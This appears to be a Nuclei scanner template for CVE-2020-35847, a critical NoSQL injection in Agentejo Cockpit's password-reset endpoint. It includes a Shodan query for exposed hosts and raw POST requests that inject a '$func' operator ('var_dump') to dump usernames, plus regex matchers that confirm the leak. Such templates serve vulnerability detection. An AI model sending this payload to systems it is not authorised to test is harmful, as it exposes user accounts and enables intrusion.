id: CVE-2020-35847 info: name: Agentejo Cockpit <0.11.2 - NoSQL Injection author: dwisiswant0 severity: critical description: | Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller. remediation: | Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate this vulnerability. reference: - https://swarm.ptsecurity.com/rce-cockpit-cms/ - https://nvd.nist.gov/vuln/detail/CVE-2020-35847 - https://getcockpit.com/ - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466 - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-35847 cwe-id: CWE-89 epss-score: 0.74725 epss-percentile: 0.97808 cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: agentejo product: cockpit shodan-query: http.favicon.hash:688609340 tags: cve,cve2020,nosqli,sqli,cockpit,injection http: - raw: - | POST /auth/requestreset HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "user": { "$func": "var_dump" } } - | POST /auth/requestreset HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "user": { "$func": "nonexistent_function" } } matchers-condition: and matchers: - type: regex part: body_1 regex: - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"' - type: regex part: body_1 negative: true regex: - 'string\([0-9]{1,3}\)(\s)?"(error404)([A-Za-z0-9-.@\s-]+)"' - type: regex part: body_2 negative: true regex: - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9-.@\s-]+)"' # digest: 490a0046304402207bea36fb18632ca8ac0def1da857c327a7f5c8db6f48dcca927fb88c3a298a86022031e1e16247afc96d788a78d27cf47a48e7c2f266bb6c374f29b300e4ce67d073:922c64590222798bb761d5b6d8e72950